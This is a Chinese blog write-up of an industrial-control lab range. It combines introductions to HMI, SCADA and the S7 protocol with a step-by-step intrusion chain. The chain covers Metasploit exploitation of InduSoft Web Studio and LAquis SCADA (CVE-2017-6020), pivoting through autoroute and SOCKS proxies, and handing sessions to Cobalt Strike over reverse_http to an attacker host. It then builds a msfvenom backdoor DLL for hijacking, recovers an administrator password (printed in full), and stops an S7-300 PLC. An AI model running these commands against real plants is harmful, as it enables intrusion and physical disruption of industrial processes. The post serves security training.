工业控制靶场记录以及工业控制协议的简单介绍

首先当然是吃水不忘挖井人,感谢大表哥的靶场(感谢星期五实验室以及乌鸦安全的靶场维护,由于csdn创作规范,只能匿了)

参考地址
参考地址

然后带上我的人生导师的一句话,正所谓,学而不思则罔,思而不学则殆;只是打一遍靶场那是毫无意义的,所以在下总结了此靶场需要学习的知识点

攻击模型图如下
在这里插入图片描述

友情提示:此文章篇幅较长,请大家穿好纸尿裤!!!

0X00 这篇文章能学到什么?

  1. HMI嵌入式的简介
  2. SCADA数据采集与监控系统简介
  3. S7协议的简介
  4. InduSoft Web Studio 嵌入式HMI RCE
  5. LAquis SCADA CVE-2017-6020 任意文件读取漏洞
  6. 紫金桥工程管理器 DLL劫持漏洞
  7. 力控组态软件动态调试获取系统管理员密码
  8. S7-300 启停攻击
  9. IDA PRO 的快捷命令介绍
  10. MSF 流量如何转发 CS流量上线

0X01 嵌入式HMI 简介

HMI是Human Machine Interface 的缩写,“人机接口”,也叫人机界面。人机界面(又称用户界面或使用者界面)是系

统和用户之间进行交互和信息交换的媒介,它的作用其实我理解为—以人类可以理解的方式进行运行转换。凡参与人机信息交流的领域都存在着人机界面

换个意思,机器语言只能识别0和1,正常人类也没法搞啊,就拿数控机床来说,如果没有那个嵌入式软件进行互动,人类怎么让他运作?

在这里插入图片描述
HMI产品由硬件和软件两部分组成,硬件部分包括处理器、显示单
元、输入单元、通讯接口、数据存贮单元等,其中处理器的性能决定了HMI产品的性能高低,是HMI的核心单元。(可以理解为数控机床的操作员站小电脑)

根据HMI的产品等级不同,处理器可分别选用8位、16位、32位的处理器。HMI软件一般分为两部分,即运行于HMI硬件中的系统软件和运行于PC机Windows操作系统下的画面组态软件(如此次使用的InduSoft Web Studio组态软件)。
在这里插入图片描述
在下记得以前上学的时候学的是发那科系统和西门子系统的数控铣床和数控机床,那个时候也有过了解嵌入式软件
在这里插入图片描述

0X02 InduSoft Web Studio嵌入式HMI RCE

嵌入式HMI软件-InduSoft Web Studio
介绍如下:

InduSoft Web Studio法国施耐德电气(Schneider Electric)公司的一个嵌入式HMI软件,该软件 是一个功能强大的自动化整合开发工具,提供所有的自动化建构模组来开发人机介面、SCADA 系統以及嵌入式设备解決方案。

InduSoft 已整合 Web 技术并充分运用了互联网/内联网连结的优势。目前该软件广泛应用于电力、能源等多个自动化工业领域。

这里说一个点,一般情况下,嵌入式软件的端口号默认都是4322哈​

首先使用kali攻击机进行存活主机探测以及端口扫描,存活探测就不来了,直接探测一下端口就好

​​nmap -v -A 192.168.50.126 -p 1-10000

在这里插入图片描述
其实这要是实打实的来我指定是G了,因为我看这几个端口是毫无头绪,80端口是访问不通的,1234以及4322端口有没有常见的,上网搜了一下,也没搜到啥玩意
在这里插入图片描述
没错,正如你所见,狗屁没有,然后偷窥了一下星期五实验室的wp
嵌入式HMI软件-InduSoft Web Studio

msfconsole
use exploit/windows/scada/indusoft_webstudio_exec
set rhosts 192.168.50.126
run

可以看到,直接就拿到了system权限​,恰好应证了上文,嵌入式的权限太高了
在这里插入图片描述
一顿操作猛如虎啊,那么问题来了,在真正的互动环节,如何去识别这种嵌入式的软件呢,让我们带着疑问,继续学习

执行 ipconfig命令发现此设备存在两个网卡,第二张网卡ip地址如下

在这里插入图片描述
查看当前路由,并添加路由表

run get_local_subnets
run autoroute -s 192.168.90.0/24

在这里插入图片描述
在这里插入图片描述
添加sock代理

bg
use auxiliary/server/socks_proxy
options
run

在这里插入图片描述
此时默认使用1080端口做代理,需要确认本机代理情况

vim /etc/proxychains4.conf

这里的第一个坑,由于kali版本不同,导致有些人是proxychains.conf有些人是proxychains4.conf,请大姐根据实际情况进行修改,若是出现代理配置文件找不到的情况,说明你电脑里有俩配置文件,删掉任意一个就行
在这里插入图片描述
返回msf,使用arp -a命令,并没有发现其他有用的网络
使用nmap,nmap拉稀了
在这里插入图片描述
使用msf扫

​use auxiliary/scanner/portscan/tcp
set ports 135,139,445
set rhosts 192.168.90.0/24
run

在这里插入图片描述
探测到存活的ip 192.168.90.110
使用nmap进行单独探测端口,依然拉稀
在这里插入图片描述
改回msf探测

use auxiliary/scanner/portscan/tcp
set ports 1-10000
set rhosts 192.168.90.110 
run

在这里插入图片描述
首先为浏览器设置sock5代理
在这里插入图片描述

通过访问1234端口,发现页面如下
在这里插入图片描述

0X03 SCADA数据采集与监控系统简介

在科研、生产和日常生活中,对温度、压力、流量、速度、位移等模拟变量
进行测量和控制时,需要通过传感器把上述物理量转换成能够模拟物理量的电信号(即模拟电信号),将模拟电信号经过处理并转换成计算机能识别的数字量(0/1),送入计算机,称之为数据采集。

在这里插入图片描述

​
数据采集是计算机在监测、管理和控制一个系统的过程中,取得原始数据
的主要手段,更是工业互联网调度自动化的基础和核心!

SCADA应用案例简化图
在这里插入图片描述
SCADA的主要功能如下
在这里插入图片描述

盗张图,别追究我啊,看看工厂MES系统在这里插入图片描述

0X04 LAquis SCADA CVE-2017-6020 任意文件读取漏洞

LAquis SCADA 是LCDS-巴西咨询与发展公司开发的一款监视控制和数据采集软件,可在工业控制系统(ICS)或分布式控制系统(DCS)中工作,从数据采集到应用程序开发。

当然了,作为一个初次接触ICS的人而言,这个东西是啥我也不知道

在这里插入图片描述
点进去看就知道是啥了
由于这种漏洞msf里面是没有攻击载荷的,所以需要我们自己前往exploit-db下载
下载地址
下载的文件是.rb结尾,我们将之重命名为LAquis_cve_2017_6020,而后拷贝到kali的
/usr/share/metasploit-framework/modules/exploits/windows/scada/ 内

在这里插入图片描述
reload_all 加载全部模块,就可以将我们新的payload加载进去

在这里插入图片描述

use exploit/windows/scada/LAquis_cve_2017_6020​
options

在这里插入图片描述
解读一下
DEPTH 到达基本目录的级别,(也就是有多少个…/),如果安装时未更改路径,默认就是向上跳转10级。如果更改路径漏洞利用不成功,可以根据实际情况调整此参数。
FILE 这是要下载的文件,与上面的DEPTH参数结合组成完整的文件路径。
Proxies 端口[,类型:主机:端口] […]的代理链
RHOSTS 目标主机,范围CIDR标识符或具有语法’file: ‘的主机文件
RPORT 目标端口(TCP),软件默认安装是1234,不排除更改的可能。
SSL 协商出站连接的SSL / TLS
VHOST HTTP服务器虚拟主机
本实验中我们只需要修改FILE和RHOSTS这两个参数即可
此时我们由于不知道file文件是什么,我们返回第一个session,去翻垃圾箱
翻垃圾箱的时候,中文乱码了,在使用
chcp 65001 之后,依然不行
在这里插入图片描述
读不到文件就很难受,遇到这种情况只能另谋他路

0X05 ​MSF 流量如何转发 CS流量上线

上cs

 ./teamserver 192.168.50.53 123456 
./cobaltstrike

生成监听,此次使用msf上线cs
在这里插入图片描述
Msf 退出后台后

bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lport 1001
set lhost 192.168.50.53
set session 1
run

在这里插入图片描述
cs上线成功
需要注意的是,msf使用的payload一定要和cs的一样,是reverse_http,别写成tcp的了!!!​
在这里插入图片描述
嘿嘿,浏览到了
在这里插入图片描述
我踏马直接下载
在这里插入图片描述
下载成功后,返回至cs目录,即可查阅 /root/桌面/cs4.4/downloads/
在这里插入图片描述
读取文件,返回msf

use exploit/windows/scada/LAquis_cve_2017_6020 
options
set file document/information.txt
set rhosts 192.168.90.110
run

在这里插入图片描述
定位到该文件保存位置,更改字符编码为gbk 2312
/root/.msf4/loot/20220520054257_default_192.168.90.110_laquis.file_806257.txt
在这里插入图片描述
远程连接2主机(探测到第一台主机未开启3389;第二台主机开启了3389端口)
在这里插入图片描述
连接远程桌面
在这里插入图片描述
连接成功
在这里插入图片描述
探测ip
在这里插入图片描述
说到上传,我就好难过,折腾了好久,都没能通过正常手段上传上去,最后开挂,假装自己上传上去了,请大家引以为戒,kali与win xp直接交互文件是不能直接传的,大家请使用windows系统进行交互
在这里插入图片描述
一查,这是一个紫金桥工程管理器,然后我们查看到时6.5版本,存在dll劫持漏洞

0X06 紫金桥工程管理器DLL劫持漏洞

这里我们使用到两款工具,分别是procexp.exe以及DllInject.exe;

​此二工具是用来做dll进程分析以及进程注入的;工具网上都有,或者大家可以回复公众号,获取下载链接,请自行检测有无后门!

生成dll后门,这里使用正向连接

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > ws2help.dll

在这里插入图片描述
将dll文件上传至目标机器(吐个槽,其实都能上传了的话,完全可以直接传个其他后门,可能是劫持的漏洞不容易发现,而且就当漏洞复现了吧)
Msf正向监听

use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set lport 1003
set rhost 192.168.90.110
run

在这里插入图片描述
坑来了,我按照步骤进行dll注入,但是怎么都不上线
在这里插入图片描述
我把ws2help.dll文件放在了两个不同的位置,依然是能注入但是不上线

查看端口状态,并没有syn等待请求,说明不是防火墙拦截,但是1003端口以及处于一个监听状态了,说明dll注入是成功的
在这里插入图片描述

重启xp系统之后,重新再走了一次dll劫持,这次又上线了…无语事件。所以这里是一个坑,大家如果遇到了请重启计算机,还有就是如果直接上传后门的话,连接之后只是普通用户权限
在这里插入图片描述

​dll劫持挖掘过程如下:
win+r regedit 打开注册表
在这里插入图片描述
运行进程监控软件,而后运行紫金桥工程管理器,查看该进程相关dll
在这里插入图片描述
将这些dll与注册表内的​比较,谁不在注册表里谁就可以被当做dll注入的毒
在这里插入图片描述
注册表对比如下:圈出来的就可以用
在这里插入图片描述
将生成的ws2help.dll文件上传至紫金桥服务器,而后使用DllInject.exe加载即可达到劫持效果
(DLL注入与劫持有一定的差异,注入是启动前,劫持是启动后)
在这里插入图片描述
劫持成功后,观察进程以及端口状态
在这里插入图片描述

msf上线

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 1003
set rhost 192.168.90.110
run

好吧,其实上线了也是普通用户权限的
在这里插入图片描述
而后我想直接用msf转CS上线了,但是上线失败了,CS​建立监听1005端口,这里监听的ip地址变了,是因为网络环境变了,大家不要在意哈
在这里插入图片描述

bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lport 1005
set lhost 192.168.50.53	
set session 3
run

在这里插入图片描述
但是cs并没有上线,可能是因为第二层网络他是不能直接访问的,1005端口也并没有建立监听,证明了我们的猜想
在这里插入图片描述
返回cs,建立正向连接
在这里插入图片描述
生成正向连接马
在这里插入图片描述
在这里插入图片描述
将正向连接马上传至192.168.90.110机器上运行(生成dll文件也可以,要是大家生成的exe不能执行,报0x000000007错误,就建个文件夹把马子放进去或者dll劫持上线就可以了)

在这里插入图片描述
返回cs选择第一个会话,而后输入命令

connect 192.168.90.110 1006 上线成功
在这里插入图片描述
我们返回msf session 3
添加路由表(还记得第二台主机的ipconfig吗)

run autoroute -s 192.168.95.0/24

在这里插入图片描述
添加sock代理

bg
use auxiliary/server/socks_proxy
options
run

在这里插入图片描述
存活主机扫描

use auxiliary/scanner/portscan/tcp 
set ports 135,139,445
set rhosts 192.168.95.0/24
run

在这里插入图片描述
若是大家出现扫描没反应,请提高线程
set threads 5

我们第二台主机读到过三个机器的密码,我们不知道第三台密码是谁的,所以就连接两次,经过测试,是192.168.95.110的

 proxychains4 rdesktop 192.168.95.110

在这里插入图片描述
在这里插入图片描述

0X07 力控组态软件动态调试获取系统管理员密码

不知道为什么,第四台主机的密码是这个。。。感觉有点牵强,难道是因为这是管理员站?
提前修改密码,因为我们需要用动态调试找到密码对应的十六进制,但是初始密码是啥谁也不知道,所以我们加上任意的字符串方便我们找对应的十六进制
在这里插入图片描述
废了好大的力气,终于是弄明白了ida pro的动态调试,大家一定要记住,要使用管理员打开ida pro,否则是调试不了这个进程的
在这里插入图片描述
在这里插入图片描述
调试进程
在这里插入图片描述
选择指定进程
在这里插入图片描述
我们直接按 alt+b 调出搜索,搜索十六进制对应的vlan即可
在这里插入图片描述
搜索成功后,双击即可
在这里插入图片描述
密码出来了,去掉vlan就是我们需要的密码内容
在这里插入图片描述
账号:tegratnluv密码:Vu1Nt@rG3t9Gg
远程连接成功
在这里插入图片描述

0X08 ​S7协议的简介

(S7comm) S7通信协议是西门子S7系列PLC内部集成的一种通信协议,是S7系列PLC
的精髓所在。它是一种运行在传输层之上的(会话层/表示层/应用层)、经过特殊优化的通信协议,其信息传输可以基于MPI网络、PROFIBUS网络或者以太网。

我再盗一张图哈
在这里插入图片描述
S7协议介绍
S7通信支持两种方式∶

1)基于客户端(Client)/服务器(Server)的单边通信;

2)基于伙伴(Partner)/伙伴(Partner)的双边通信;

客户端(Client)/服务器(Server)模式是最常用的通信方式,也称作
S7单边通信。在该模式中,只需要在客户端一侧进行配置和编程;服务器一侧只需要准备好需要被访问的数据,不需要任何编程(服务器的"服务"功能是硬件提供的,不需要用户软件的任何设置)

客户端client

客户端是在S7通信中的一个角色,它是资源的索取者;
而服务器则是资源的提供者。
服务器(Server)通常是S7-PLC的CPU,它的资源就是其内部的变量/数据等。客户端通过S7通信协议,对服务器的数据进行读取或写入的操作。

常见的客户端包括∶人机界面(HMI)、编程电脑(PG/PC)等。当两台S7-PLC进行S7通信时,可以把一台设置为客户端,另一台设置为服务器。
很多基于S7通信的软件都是在扮演者客户端的角色。比如OPC Server,虽然它的名字中有Server。但在S7通信中,它其实是客户端的角色。
客户端/服务器模式的数据流动是单向的。也就是说,只有客户端能操作服务器的数据,而服务器不能对客户端的数据进行操作。

0X09 S7-300 启停攻击

先上线再说

 msfvenom -p windows/meterpreter/bind_tcp LPORT=1007 -f exe > 1007.exe

在这里插入图片描述
将后门直接上传至192.168.95.100而后执行即可

use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set lport 1007
set rhost 192.168.95.110
run

在这里插入图片描述
查看全部网络并添加路由表

arp -a
run post/multi/manage/autoroute

在这里插入图片描述
通过client端(192.168.95.100)端可以看到,S7的服务端正在运行,我们的目的就是要把下位机打停机
其实我觉得可以直接stop

在这里插入图片描述

这里我们使用ISF来进行攻击,已知这时S7-300的模拟器,(不,我不知道)ISF中存在这一型号的利用模块可以直接利用,ISF的工程项目:
https://github.com/dark-lbp/isf
然后就是,环境编译失败,python脚本怎么也跑不起来
下了一个exploits也没行,拉倒吧

在这里插入图片描述
被打停了,达到了启停目的
在这里插入图片描述
盗的俩图

0X10 IDA PRO 快捷方式

N:重命名地址符号
U:代码转换为数据
C:数据到代码
;/:加注释
G:跳转到指定位置
ESC/CTRL+ENTER:导航后退/前进
D:对数据db/dw/dd之间进行切换
ALT+T:string search
ALT+B: binary search
A:将选择的范围转化为字符串

View --> OpenSubviews -->  Local Types-->INSERT,插入一个已存在的结构体
FILE-->LOAD FILE-->Parse C Header File 从头文件中导入结构体


INSERT:插入一个结构体,或者从local types中导入standard
D:插入一个结构体成员,并切换它们的字节类型
U-->Edit-->shrink struct type:删除一个结构体成员
Edit-->Expand struct type:在中间增加一个结构体成员
U:在结构体ENDS一行,可删除最后一个结构体成员

对偏移右键-->struct offset:应用新建的结构体
选择stack frame起始地址-->edit-->struct var:应用新建的结构体

(数组:a + index * sizeof (a[0]))
(结构体:a + offset)
(结构体数组:a +index*sizeof(a[0]) +offset)

X:在光标所在地址,弹出cross reference对话框,列出所有引用它的地点,不一定是目标地

View -->Open Subviews -->Function Calls:所有调用当前地址的函数,和子窗口中该函数调用的所有函数
View -->Open Subviews -->Cross-References:必须是cross view的目标地,即该引用的本身


F12:将光标放在一个函数里,按F12,得到该函数的流程图
CTRL+F12:函数调用关系图

View -->Graphs -->Xrefs To:引用该符号的函数图
View -->Graphs -->Xrefs From:该符号引用的函数图

F5:HEXRAYS反C插件,直接看C代码

猜你喜欢

转载自blog.csdn.net/weixin_48421613/article/details/124966222